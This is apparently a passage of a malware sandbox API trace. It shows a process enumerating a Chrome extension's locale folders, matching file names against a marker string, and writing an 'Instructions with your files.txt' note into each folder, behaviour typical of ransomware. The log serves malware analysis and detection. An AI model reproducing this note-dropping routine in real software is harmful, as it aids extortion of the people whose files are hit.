[0130.317] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.318] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\.") returned 152
[0130.318] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835cec10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835cec10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.318] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\..") returned 153
[0130.318] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835d1320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x49c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.318] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\messages.json") returned 164
[0130.318] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.318] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835cec10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835d1320, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x49c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.318] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\Instructions with your files.txt") returned 183
[0130.318] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.319] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.320] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.320] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.320] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.320] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.320] CloseHandle (hObject=0x134) returned 1
[0130.320] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.320] GetProcessHeap () returned 0x810000
[0130.320] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.320] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
[0130.320] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv") returned 150
[0130.320] GetProcessHeap () returned 0x810000
[0130.320] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.320] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*") returned 152
[0130.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.321] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\.") returned 152
[0130.321] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835daf60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dd670, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.321] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\..") returned 153
[0130.321] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.321] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\messages.json") returned 164
[0130.321] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.321] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dd670, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e96, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.321] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\Instructions with your files.txt") returned 183
[0130.321] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.321] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.322] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.322] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.322] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.322] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.323] CloseHandle (hObject=0x134) returned 1
[0130.323] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.323] GetProcessHeap () returned 0x810000
[0130.323] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.323] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw", cAlternateFileName="")) returned 1
[0130.323] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw") returned 150
[0130.323] GetProcessHeap () returned 0x810000
[0130.323] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.323] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*") returned 152
[0130.323] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.324] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\.") returned 152
[0130.324] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835dd670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835dfd80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.324] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\..") returned 153
[0130.324] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dfd80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.324] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\messages.json") returned 164
[0130.324] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.324] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835dfd80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835dfd80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.324] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\Instructions with your files.txt") returned 183
[0130.324] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.324] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.325] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.326] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.326] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.326] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.326] CloseHandle (hObject=0x134) returned 1
[0130.326] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.326] GetProcessHeap () returned 0x810000
[0130.326] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.326] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta", cAlternateFileName="")) returned 1
[0130.326] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta") returned 150
[0130.326] GetProcessHeap () returned 0x810000
[0130.326] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.326] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*") returned 152
[0130.326] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.326] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\.") returned 152
[0130.327] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835e4ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e72b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835e72b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.327] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\..") returned 153
[0130.327] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835e72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e99c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x563d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.327] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\messages.json") returned 164
[0130.327] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.327] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835e72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835e99c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839958d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x563d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.327] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ta\\Instructions with your files.txt") returned 183
